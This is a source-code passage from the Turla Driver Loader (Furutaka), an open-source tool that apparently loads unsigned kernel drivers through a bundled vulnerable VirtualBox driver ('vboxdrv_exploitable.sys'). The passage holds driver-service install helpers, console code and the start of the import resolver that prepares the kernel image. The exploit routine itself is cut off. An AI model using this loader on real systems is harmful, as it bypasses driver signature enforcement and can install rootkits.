--------------------------------------------------------------------------------
/Source/DummyDrv2/dummy/r3request.c:
--------------------------------------------------------------------------------
1 | typedef struct _INOUT_PARAM{
2 | ULONG Param1;
3 | ULONG Param2;
4 | ULONG Param3;
5 | ULONG Param4;
6 | } INOUT_PARAM, *PINOUT_PARAM;
7 |
8 | #define DUMMYDRV_REQUEST1 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0701, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
9 |
10 | VOID test(
11 | VOID
12 | )
13 | {
14 | HANDLE h;
15 | INOUT_PARAM tmp;
16 | DWORD bytesIO;
17 |
18 | h = CreateFile(TEXT("\\\\.\\TDLD"), GENERIC_READ | GENERIC_WRITE,
19 | FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
20 | if (h != INVALID_HANDLE_VALUE) {
21 |
22 | tmp.Param1 = 0xAAAAAAAA;
23 | tmp.Param2 = 0xBBBBBBBB;
24 | tmp.Param3 = 0xCCCCCCCC;
25 | tmp.Param4 = 0xDDDDDDDD;
26 |
27 | DeviceIoControl(h, DUMMYDRV_REQUEST1,
28 | &tmp, sizeof(tmp), &tmp,
29 | sizeof(tmp), &bytesIO, NULL);
30 |
31 | CloseHandle(h);
32 | }
33 |
34 | }
--------------------------------------------------------------------------------
/Source/Furutaka/Furutaka.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.25420.1
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Furutaka", "Furutaka.vcxproj", "{8CC15B84-9FA8-4F5E-934F-7DAE7BAC4896}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Release|x64 = Release|x64
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {8CC15B84-9FA8-4F5E-934F-7DAE7BAC4896}.Debug|x64.ActiveCfg = Debug|x64
15 | {8CC15B84-9FA8-4F5E-934F-7DAE7BAC4896}.Debug|x64.Build.0 = Debug|x64
16 | {8CC15B84-9FA8-4F5E-934F-7DAE7BAC4896}.Release|x64.ActiveCfg = Release|x64
17 | {8CC15B84-9FA8-4F5E-934F-7DAE7BAC4896}.Release|x64.Build.0 = Release|x64
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | EndGlobal
23 |
--------------------------------------------------------------------------------
/Source/Furutaka/Furutaka.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | x64
7 |
8 |
9 | Release
10 | x64
11 |
12 |
13 |
14 | {8CC15B84-9FA8-4F5E-934F-7DAE7BAC4896}
15 | Win32Proj
16 | Furutaka
17 | 10.0.17763.0
18 | Furutaka
19 |
20 |
21 |
22 | Application
23 | true
24 | v141
25 | Unicode
26 |
27 |
28 | Application
29 | false
30 | v141
31 | Unicode
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 | true
47 | .\output\$(Platform)\$(Configuration)\
48 | .\output\$(Platform)\$(Configuration)\
49 | SecurityRules.ruleset
50 |
51 |
52 | false
53 | .\output\$(Platform)\$(Configuration)\
54 | .\output\$(Platform)\$(Configuration)\
55 | AllRules.ruleset
56 | false
57 |
58 |
59 |
60 |
61 |
62 | Level4
63 | Disabled
64 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
65 | CompileAsC
66 | false
67 |
68 |
69 | Console
70 | true
71 | TDLMain
72 | AsInvoker
73 |
74 |
75 |
76 |
77 | Level4
78 |
79 |
80 | MinSpace
81 | true
82 | true
83 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
84 | CompileAsC
85 | true
86 | true
87 | false
88 | MultiThreaded
89 | Size
90 | false
91 | true
92 | false
93 | AssemblyCode
94 | $(IntDir)\asmlist\
95 |
96 |
97 | Console
98 | true
99 | true
100 | false
101 | TDLMain
102 | true
103 | RequireAdministrator
104 | 6.0
105 | LinkVerboseLib
106 | /NOCOFFGRPINFO %(AdditionalOptions)
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
--------------------------------------------------------------------------------
/Source/Furutaka/Furutaka.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {b42df48e-a336-4e0e-9516-5a3ed47473ce}
18 |
19 |
20 |
21 |
22 | Source Files
23 |
24 |
25 | minirtl
26 |
27 |
28 | minirtl
29 |
30 |
31 | minirtl
32 |
33 |
34 | minirtl
35 |
36 |
37 | minirtl
38 |
39 |
40 | minirtl
41 |
42 |
43 | minirtl
44 |
45 |
46 | minirtl
47 |
48 |
49 | minirtl
50 |
51 |
52 | minirtl
53 |
54 |
55 | minirtl
56 |
57 |
58 | Source Files
59 |
60 |
61 | Source Files
62 |
63 |
64 | Source Files
65 |
66 |
67 |
68 |
69 | Header Files
70 |
71 |
72 | Header Files
73 |
74 |
75 | minirtl
76 |
77 |
78 | minirtl
79 |
80 |
81 | minirtl
82 |
83 |
84 | Header Files
85 |
86 |
87 | Header Files
88 |
89 |
90 | Header Files
91 |
92 |
93 | Header Files
94 |
95 |
96 | Header Files
97 |
98 |
99 | Header Files
100 |
101 |
102 |
103 |
104 | Resource Files
105 |
106 |
107 |
108 |
109 |
110 |
--------------------------------------------------------------------------------
/Source/Furutaka/Furutaka.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | C:\MAKEEXE\TDL\Furutaka\drv\dummy.sys
5 | WindowsLocalDebugger
6 |
7 |
8 | c:\altair\tsugumi.sys
9 | WindowsLocalDebugger
10 |
11 |
--------------------------------------------------------------------------------
/Source/Furutaka/cui.c:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2016 - 2018
4 | *
5 | * TITLE: CUI.C
6 | *
7 | * VERSION: 1.30
8 | *
9 | * DATE: 01 Aug 2018
10 | *
11 | * Console output.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 | #include "global.h"
20 |
21 | HANDLE g_ConOut = NULL, g_ConIn = NULL;
22 | BOOL g_ConsoleOutput = FALSE;
23 | WCHAR g_BE = 0xFEFF;
24 |
25 | /*
26 | * cuiInitialize
27 | *
28 | * Purpose:
29 | *
30 | * Initialize console input/output.
31 | *
32 | */
33 | VOID cuiInitialize(
34 | _In_ BOOL InitInput,
35 | _Out_opt_ PBOOL IsConsoleOutput
36 | )
37 | {
38 | ULONG dummy;
39 |
40 | g_ConOut = GetStdHandle(STD_OUTPUT_HANDLE);
41 |
42 | if (InitInput) g_ConIn = GetStdHandle(STD_INPUT_HANDLE);
43 |
44 | SetConsoleMode(g_ConOut, ENABLE_LINE_INPUT | ENABLE_ECHO_INPUT | ENABLE_PROCESSED_OUTPUT);
45 |
46 | g_ConsoleOutput = TRUE;
47 | if (!GetConsoleMode(g_ConOut, &dummy)) {
48 | g_ConsoleOutput = FALSE;
49 | WriteFile(g_ConOut, &g_BE, sizeof(WCHAR), &dummy, NULL);
50 | }
51 |
52 | if (IsConsoleOutput)
53 | *IsConsoleOutput = g_ConsoleOutput;
54 |
55 | return;
56 | }
57 |
58 | /*
59 | * cuiClrScr
60 | *
61 | * Purpose:
62 | *
63 | * Clear screen.
64 | *
65 | */
66 | VOID cuiClrScr(
67 | VOID
68 | )
69 | {
70 | COORD coordScreen;
71 | DWORD cCharsWritten;
72 | DWORD dwConSize;
73 | CONSOLE_SCREEN_BUFFER_INFO csbi;
74 |
75 | coordScreen.X = 0;
76 | coordScreen.Y = 0;
77 |
78 | if (!GetConsoleScreenBufferInfo(g_ConOut, &csbi))
79 | return;
80 |
81 | dwConSize = csbi.dwSize.X * csbi.dwSize.Y;
82 |
83 | if (!FillConsoleOutputCharacter(g_ConOut, TEXT(' '),
84 | dwConSize, coordScreen, &cCharsWritten))
85 | return;
86 |
87 | if (!GetConsoleScreenBufferInfo(g_ConOut, &csbi))
88 | return;
89 |
90 | if (!FillConsoleOutputAttribute(g_ConOut, csbi.wAttributes,
91 | dwConSize, coordScreen, &cCharsWritten))
92 | return;
93 |
94 | SetConsoleCursorPosition(g_ConOut, coordScreen);
95 | }
96 |
97 | /*
98 | * cuiPrintTextA
99 | *
100 | * Purpose:
101 | *
102 | * Output text to the console or file.
103 | * ANSI version.
104 | *
105 | */
106 | VOID cuiPrintTextA(
107 | _In_ LPSTR lpText,
108 | _In_ BOOL UseReturn
109 | )
110 | {
111 | SIZE_T consoleIO;
112 | DWORD bytesIO;
113 | LPSTR Buffer;
114 |
115 | if (lpText == NULL)
116 | return;
117 |
118 | consoleIO = _strlen_a(lpText);
119 | if ((consoleIO == 0) || (consoleIO > MAX_PATH * 4))
120 | return;
121 |
122 | consoleIO = 5 + consoleIO;
123 | Buffer = (LPSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, consoleIO);
124 | if (Buffer) {
125 |
126 | _strcpy_a(Buffer, lpText);
127 | if (UseReturn) _strcat_a(Buffer, "\r\n");
128 |
129 | consoleIO = _strlen_a(Buffer);
130 |
131 | if (g_ConsoleOutput != FALSE) {
132 | WriteConsoleA(g_ConOut, Buffer, (DWORD)consoleIO, &bytesIO, NULL);
133 | }
134 | else {
135 | WriteFile(g_ConOut, Buffer, (DWORD)consoleIO, &bytesIO, NULL);
136 | }
137 | HeapFree(GetProcessHeap(), 0, Buffer);
138 | }
139 | }
140 |
141 | /*
142 | * cuiPrintTextW
143 | *
144 | * Purpose:
145 | *
146 | * Output text to the console or file.
147 | * UNICODE version.
148 | *
149 | */
150 | VOID cuiPrintTextW(
151 | _In_ LPWSTR lpText,
152 | _In_ BOOL UseReturn
153 | )
154 | {
155 | SIZE_T consoleIO;
156 | DWORD bytesIO;
157 | LPWSTR Buffer;
158 |
159 | if (lpText == NULL)
160 | return;
161 |
162 | consoleIO = _strlen_w(lpText);
163 | if ((consoleIO == 0) || (consoleIO > MAX_PATH * 4))
164 | return;
165 |
166 | consoleIO = consoleIO * sizeof(WCHAR) + 4 + sizeof(UNICODE_NULL);
167 | Buffer = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, consoleIO);
168 | if (Buffer) {
169 |
170 | _strcpy(Buffer, lpText);
171 | if (UseReturn) _strcat_w(Buffer, TEXT("\r\n"));
172 |
173 | consoleIO = _strlen_w(Buffer);
174 |
175 | if (g_ConsoleOutput != FALSE) {
176 | WriteConsoleW(g_ConOut, Buffer, (DWORD)consoleIO, &bytesIO, NULL);
177 | }
178 | else {
179 | WriteFile(g_ConOut, Buffer, (DWORD)(consoleIO * sizeof(WCHAR)), &bytesIO, NULL);
180 | }
181 | HeapFree(GetProcessHeap(), 0, Buffer);
182 | }
183 | }
184 |
185 | /*
186 | * cuiPrintTextLastErrorA
187 | *
188 | * Purpose:
189 | *
190 | * Output LastError translated code to the console or file.
191 | * ANSI version.
192 | *
193 | */
194 | VOID cuiPrintTextLastErrorA(
195 | _In_ BOOL UseReturn
196 | )
197 | {
198 | CHAR szTextBuffer[512];
199 | DWORD dwLastError = GetLastError();
200 |
201 | FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, dwLastError, LANG_USER_DEFAULT, (LPSTR)&szTextBuffer, 512, NULL);
202 | cuiPrintTextA(szTextBuffer, UseReturn);
203 | }
204 |
205 | /*
206 | * cuiPrintTextLastErrorW
207 | *
208 | * Purpose:
209 | *
210 | * Output LastError translated code to the console or file.
211 | * UNICODE version.
212 | *
213 | */
214 | VOID cuiPrintTextLastErrorW(
215 | _In_ BOOL UseReturn
216 | )
217 | {
218 | WCHAR szTextBuffer[512];
219 | DWORD dwLastError = GetLastError();
220 |
221 | FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM, NULL, dwLastError, LANG_USER_DEFAULT, (LPWSTR)&szTextBuffer, 512, NULL);
222 | cuiPrintTextW(szTextBuffer, UseReturn);
223 | }
224 |
--------------------------------------------------------------------------------
/Source/Furutaka/cui.h:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2016 - 2018
4 | *
5 | * TITLE: CUI.H
6 | *
7 | * VERSION: 1.30
8 | *
9 | * DATE: 01 Aug 2018
10 | *
11 | * Common header file for console ui.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 | #pragma once
20 |
21 | VOID cuiInitialize(
22 | _In_ BOOL InitInput,
23 | _Out_opt_ PBOOL IsConsoleOutput
24 | );
25 |
26 | #ifdef _UNICODE
27 | #define cuiPrintText cuiPrintTextW
28 | #define cuiPrintTextLastError cuiPrintTextLastErrorW
29 | #else
30 | #define cuiPrintText cuiPrintTextA
31 | #define cuiPrintTextLastError cuiPrintTextLastErrorA
32 | #endif
33 |
34 |
35 | VOID cuiPrintTextA(
36 | _In_ LPSTR lpText,
37 | _In_ BOOL UseReturn
38 | );
39 |
40 | VOID cuiPrintTextW(
41 | _In_ LPWSTR lpText,
42 | _In_ BOOL UseReturn
43 | );
44 |
45 | VOID cuiPrintTextLastErrorA(
46 | _In_ BOOL UseReturn
47 | );
48 |
49 | VOID cuiPrintTextLastErrorW(
50 | _In_ BOOL UseReturn
51 | );
52 |
53 | VOID cuiClrScr(
54 | VOID
55 | );
56 |
--------------------------------------------------------------------------------
/Source/Furutaka/drv/vboxdrv_exploitable.sys:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hfiref0x/TDL/cc4b46ae1c939b14a22a734a727b163f873a41b5/Source/Furutaka/drv/vboxdrv_exploitable.sys
--------------------------------------------------------------------------------
/Source/Furutaka/global.h:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2016 - 2019
4 | *
5 | * TITLE: GLOBAL.H
6 | *
7 | * VERSION: 1.14
8 | *
9 | * DATE: 05 Jan 2019
10 | *
11 | * Common header file for the program support routines.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 |
20 | #pragma once
21 |
22 | //disable nonmeaningful warnings.
23 | #pragma warning(disable: 4005) // macro redefinition
24 | #pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union
25 |
26 | #include
27 | #include
28 | #include "ntos.h"
29 | #include "minirtl\minirtl.h"
30 | #include "minirtl\rtltypes.h"
31 | #include "minirtl\cmdline.h"
32 | #include "sup.h"
33 | #include "cui.h"
34 | #include "instdrv.h"
35 |
36 | #if !defined UNICODE
37 | #error ANSI build is not supported
38 | #endif
39 |
40 | #if defined (_MSC_VER)
41 | #if (_MSC_VER >= 1900)
42 | #ifdef _DEBUG
43 | #pragma comment(lib, "vcruntimed.lib")
44 | #pragma comment(lib, "ucrtd.lib")
45 | #else
46 | #pragma comment(lib, "libucrt.lib")
47 | #pragma comment(lib, "libvcruntime.lib")
48 | #endif
49 | #endif
50 | #endif
51 |
--------------------------------------------------------------------------------
/Source/Furutaka/instdrv.c:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2015 - 2017, portions (C) Mark Russinovich, FileMon
4 | *
5 | * TITLE: INSTDRV.C
6 | *
7 | * VERSION: 1.10
8 | *
9 | * DATE: 17 Apr 2017
10 | *
11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
14 | * PARTICULAR PURPOSE.
15 | *
16 | *******************************************************************************/
17 | #include "global.h"
18 |
19 | /*
20 | * scmInstallDriver
21 | *
22 | * Purpose:
23 | *
24 | * Create SCM service entry describing kernel driver.
25 | *
26 | */
27 | BOOL scmInstallDriver(
28 | _In_ SC_HANDLE SchSCManager,
29 | _In_ LPCTSTR DriverName,
30 | _In_opt_ LPCTSTR ServiceExe
31 | )
32 | {
33 | SC_HANDLE schService;
34 |
35 | schService = CreateService(SchSCManager, // SCManager database
36 | DriverName, // name of service
37 | DriverName, // name to display
38 | SERVICE_ALL_ACCESS, // desired access
39 | SERVICE_KERNEL_DRIVER, // service type
40 | SERVICE_DEMAND_START, // start type
41 | SERVICE_ERROR_NORMAL, // error control type
42 | ServiceExe, // service's binary
43 | NULL, // no load ordering group
44 | NULL, // no tag identifier
45 | NULL, // no dependencies
46 | NULL, // LocalSystem account
47 | NULL // no password
48 | );
49 | if (schService == NULL) {
50 | return FALSE;
51 | }
52 |
53 | CloseServiceHandle(schService);
54 | return TRUE;
55 | }
56 |
57 | /*
58 | * scmStartDriver
59 | *
60 | * Purpose:
61 | *
62 | * Start service, resulting in SCM drvier load.
63 | *
64 | */
65 | BOOL scmStartDriver(
66 | _In_ SC_HANDLE SchSCManager,
67 | _In_ LPCTSTR DriverName
68 | )
69 | {
70 | SC_HANDLE schService;
71 | BOOL ret;
72 |
73 | schService = OpenService(SchSCManager,
74 | DriverName,
75 | SERVICE_ALL_ACCESS
76 | );
77 | if (schService == NULL)
78 | return FALSE;
79 |
80 | ret = StartService(schService, 0, NULL)
81 | || GetLastError() == ERROR_SERVICE_ALREADY_RUNNING;
82 |
83 | CloseServiceHandle(schService);
84 |
85 | return ret;
86 | }
87 |
88 | /*
89 | * scmOpenDevice
90 | *
91 | * Purpose:
92 | *
93 | * Open driver device by symbolic link.
94 | *
95 | */
96 | BOOL scmOpenDevice(
97 | _In_ LPCTSTR DriverName,
98 | _Inout_opt_ PHANDLE lphDevice
99 | )
100 | {
101 | TCHAR completeDeviceName[64];
102 | HANDLE hDevice;
103 |
104 | RtlSecureZeroMemory(completeDeviceName, sizeof(completeDeviceName));
105 | wsprintf(completeDeviceName, TEXT("\\\\.\\%s"), DriverName);
106 |
107 | hDevice = CreateFile(completeDeviceName,
108 | GENERIC_READ | GENERIC_WRITE,
109 | 0,
110 | NULL,
111 | OPEN_EXISTING,
112 | FILE_ATTRIBUTE_NORMAL,
113 | NULL
114 | );
115 | if (hDevice == INVALID_HANDLE_VALUE)
116 | return FALSE;
117 |
118 | if (lphDevice) {
119 | *lphDevice = hDevice;
120 | }
121 | else {
122 | CloseHandle(hDevice);
123 | }
124 |
125 | return TRUE;
126 | }
127 |
128 | /*
129 | * scmStopDriver
130 | *
131 | * Purpose:
132 | *
133 | * Command SCM to stop service, resulting in driver unload.
134 | *
135 | */
136 | BOOL scmStopDriver(
137 | _In_ SC_HANDLE SchSCManager,
138 | _In_ LPCTSTR DriverName
139 | )
140 | {
141 | BOOL ret;
142 | INT iRetryCount;
143 | SC_HANDLE schService;
144 | SERVICE_STATUS serviceStatus;
145 |
146 | ret = FALSE;
147 | schService = OpenService(SchSCManager, DriverName, SERVICE_ALL_ACCESS);
148 | if (schService == NULL) {
149 | return ret;
150 | }
151 |
152 | iRetryCount = 5;
153 | do {
154 | SetLastError(0);
155 |
156 | ret = ControlService(schService, SERVICE_CONTROL_STOP, &serviceStatus);
157 | if (ret != FALSE)
158 | break;
159 |
160 | if (GetLastError() != ERROR_DEPENDENT_SERVICES_RUNNING)
161 | break;
162 |
163 | Sleep(1000);
164 | iRetryCount--;
165 | } while (iRetryCount);
166 |
167 | CloseServiceHandle(schService);
168 |
169 | return ret;
170 | }
171 |
172 | /*
173 | * scmRemoveDriver
174 | *
175 | * Purpose:
176 | *
177 | * Remove service entry from SCM database.
178 | *
179 | */
180 | BOOL scmRemoveDriver(
181 | _In_ SC_HANDLE SchSCManager,
182 | _In_ LPCTSTR DriverName
183 | )
184 | {
185 | SC_HANDLE schService;
186 | BOOL bResult = FALSE;
187 |
188 | schService = OpenService(SchSCManager, DriverName, SERVICE_ALL_ACCESS);
189 | if (schService) {
190 | bResult = DeleteService(schService);
191 | CloseServiceHandle(schService);
192 | }
193 | return bResult;
194 | }
195 |
196 | /*
197 | * scmUnloadDeviceDriver
198 | *
199 | * Purpose:
200 | *
201 | * Combines scmStopDriver and scmRemoveDriver.
202 | *
203 | */
204 | BOOL scmUnloadDeviceDriver(
205 | _In_ LPCTSTR Name
206 | )
207 | {
208 | SC_HANDLE schSCManager;
209 | BOOL bResult = FALSE;
210 |
211 | if (Name == NULL) {
212 | return bResult;
213 | }
214 |
215 | schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
216 | if (schSCManager) {
217 | scmStopDriver(schSCManager, Name);
218 | bResult = scmRemoveDriver(schSCManager, Name);
219 | CloseServiceHandle(schSCManager);
220 | }
221 | return bResult;
222 | }
223 |
224 | /*
225 | * scmLoadDeviceDriver
226 | *
227 | * Purpose:
228 | *
229 | * Unload if already exists, Create, Load and Open driver instance.
230 | *
231 | */
232 | BOOL scmLoadDeviceDriver(
233 | _In_ LPCTSTR Name,
234 | _In_opt_ LPCTSTR Path,
235 | _Inout_ PHANDLE lphDevice
236 | )
237 | {
238 | SC_HANDLE schSCManager;
239 | BOOL bResult = FALSE;
240 |
241 | if (Name == NULL) {
242 | return bResult;
243 | }
244 |
245 | schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
246 | if (schSCManager) {
247 | scmRemoveDriver(schSCManager, Name);
248 | scmInstallDriver(schSCManager, Name, Path);
249 | scmStartDriver(schSCManager, Name);
250 | bResult = scmOpenDevice(Name, lphDevice);
251 | CloseServiceHandle(schSCManager);
252 | }
253 | return bResult;
254 | }
255 |
--------------------------------------------------------------------------------
/Source/Furutaka/instdrv.h:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2015 - 2017, portions (C) Mark Russinovich, FileMon
4 | *
5 | * TITLE: INSTDRV.H
6 | *
7 | * VERSION: 1.10
8 | *
9 | * DATE: 17 Apr 2017
10 | *
11 | * Common header file for the program SCM usage.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 | #pragma once
20 |
21 | BOOL scmInstallDriver(
22 | _In_ SC_HANDLE SchSCManager,
23 | _In_ LPCTSTR DriverName,
24 | _In_opt_ LPCTSTR ServiceExe
25 | );
26 |
27 | BOOL scmStartDriver(
28 | _In_ SC_HANDLE SchSCManager,
29 | _In_ LPCTSTR DriverName
30 | );
31 |
32 | BOOL scmOpenDevice(
33 | _In_ LPCTSTR DriverName,
34 | _Inout_opt_ PHANDLE lphDevice
35 | );
36 |
37 | BOOL scmStopDriver(
38 | _In_ SC_HANDLE SchSCManager,
39 | _In_ LPCTSTR DriverName
40 | );
41 |
42 | BOOL scmRemoveDriver(
43 | _In_ SC_HANDLE SchSCManager,
44 | _In_ LPCTSTR DriverName
45 | );
46 |
47 | BOOL scmUnloadDeviceDriver(
48 | _In_ LPCTSTR Name
49 | );
50 |
51 | BOOL scmLoadDeviceDriver(
52 | _In_ LPCTSTR Name,
53 | _In_opt_ LPCTSTR Path,
54 | _Inout_ PHANDLE lphDevice
55 | );
56 |
--------------------------------------------------------------------------------
/Source/Furutaka/main.c:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2016 - 2019
4 | *
5 | * TITLE: MAIN.C
6 | *
7 | * VERSION: 1.15
8 | *
9 | * DATE: 19 Apr 2019
10 | *
11 | * Furutaka entry point.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 |
20 | #include "global.h"
21 | #include "vbox.h"
22 | #include "shellcode.h"
23 |
24 | #pragma data_seg("shrd")
25 | volatile LONG g_lApplicationInstances = 0;
26 | #pragma data_seg()
27 | #pragma comment(linker, "/Section:shrd,RWS")
28 |
29 | HINSTANCE g_hInstance;
30 | HANDLE g_hVBox = INVALID_HANDLE_VALUE;
31 | BOOL g_VBoxInstalled = FALSE;
32 |
33 | ULONG g_NtBuildNumber = 0;
34 |
35 | #define VBoxDrvSvc TEXT("VBoxDrv")
36 | #define supImageName "furutaka"
37 | #define supImageHandle 0x1a000
38 |
39 | #define T_LOADERTITLE TEXT("Turla Driver Loader v1.1.5 (19/04/19)")
40 | #define T_LOADERUNSUP TEXT("Unsupported WinNT version\r\n")
41 | #define T_LOADERRUN TEXT("Another instance running, close it before\r\n")
42 | #define T_LOADERUSAGE TEXT("Usage: loader DriverToLoad\n\re.g. loader mydrv.sys\r\n")
43 | #define T_LOADERINTRO TEXT("Turla Driver Loader v1.1.5 started\r\n(c) 2016 - 2019 TDL Project\r\nSupported x64 OS : 7 and above\r\n")
44 | #define T_VBOXDETECT TEXT("Ldr: Detected VirtualBox software installation, driver backup will be done")
45 |
46 | /*
47 | * TDLVBoxInstalled
48 | *
49 | * Purpose:
50 | *
51 | * Check VirtualBox software installation state.
52 | *
53 | */
54 | BOOL TDLVBoxInstalled(
55 | VOID
56 | )
57 | {
58 | BOOL bPresent = FALSE;
59 | LRESULT lRet;
60 | HKEY hKey = NULL;
61 |
62 | lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("Software\\Oracle\\VirtualBox"),
63 | 0, KEY_READ, &hKey);
64 |
65 | bPresent = (hKey != NULL);
66 |
67 | if (hKey) {
68 | RegCloseKey(hKey);
69 | }
70 |
71 | return bPresent;
72 | }
73 |
74 | /*
75 | * TDLGetProcAddress
76 | *
77 | * Purpose:
78 | *
79 | * Get NtOskrnl procedure address.
80 | *
81 | */
82 | ULONG_PTR TDLGetProcAddress(
83 | _In_ ULONG_PTR KernelBase,
84 | _In_ ULONG_PTR KernelImage,
85 | _In_ LPCSTR FunctionName
86 | )
87 | {
88 | ANSI_STRING cStr;
89 | ULONG_PTR pfn = 0;
90 |
91 | RtlInitString(&cStr, FunctionName);
92 | if (!NT_SUCCESS(LdrGetProcedureAddress((PVOID)KernelImage, &cStr, 0, (PVOID*)&pfn)))
93 | return 0;
94 |
95 | return KernelBase + (pfn - KernelImage);
96 | }
97 |
98 | /*
99 | * TDLResolveKernelImport
100 | *
101 | * Purpose:
102 | *
103 | * Resolve import (ntoskrnl only).
104 | *
105 | */
106 | void TDLResolveKernelImport(
107 | _In_ ULONG_PTR Image,
108 | _In_ ULONG_PTR KernelImage,
109 | _In_ ULONG_PTR KernelBase
110 | )
111 | {
112 | PIMAGE_OPTIONAL_HEADER popth;
113 | ULONG_PTR ITableVA, *nextthunk;
114 | PIMAGE_IMPORT_DESCRIPTOR ITable;
115 | PIMAGE_THUNK_DATA pthunk;
116 | PIMAGE_IMPORT_BY_NAME pname;
117 | ULONG i;
118 |
119 | popth = &RtlImageNtHeader((PVOID)Image)->OptionalHeader;
120 |
121 | if (popth->NumberOfRvaAndSizes <= IMAGE_DIRECTORY_ENTRY_IMPORT)
122 | return;
123 |
124 | ITableVA = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
125 | if (ITableVA == 0)
126 | return;
127 |
128 | ITable = (PIMAGE_IMPORT_DESCRIPTOR)(Image + ITableVA);
129 |
130 | if (ITable->OriginalFirstThunk == 0)
131 | pthunk = (PIMAGE_THUNK_DATA)(Image + ITable->FirstThunk);
132 | else
133 | pthunk = (PIMAGE_THUNK_DATA)(Image + ITable->OriginalFirstThunk);
134 |
135 | for (i = 0; pthunk->u1.Function != 0; i++, pthunk++) {
